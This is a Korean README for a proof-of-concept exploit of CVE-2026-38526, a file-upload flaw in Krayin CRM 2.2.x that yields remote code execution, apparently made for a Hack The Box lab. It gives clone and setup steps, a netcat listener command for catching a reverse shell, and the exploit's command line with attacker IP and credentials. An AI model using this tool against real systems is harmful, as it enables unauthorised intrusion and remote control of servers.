CVE-2026-38526-PoC-htb-nexus

CVE-2026-38526에 대한 PoC 스크립트입니다. webkul krayin 2.2.x의 /admin/tinymce/upload 엔드포인트에 있는 파일 업로드 취약점을 통한 RCE입니다 (htb-nexus용으로 제작됨)

🛠 빠른 시작 및 사용법

1. 저장소 클론:
   root@kitploit:~

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Python 가상 환경 생성:
   root@kitploit:~

   python3 -m venv .venv
   source .venv/bin/activate
   

3. requirements.txt 설치:
   root@kitploit:~

   pip install -r requirements.txt
   

4. 리스너 시작:
   root@kitploit:~

   nc -lvnp <port number> (Default: 9001)
   

5. 스크립트 실행:
   root@kitploit:~

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-excluding-protocol Default: http>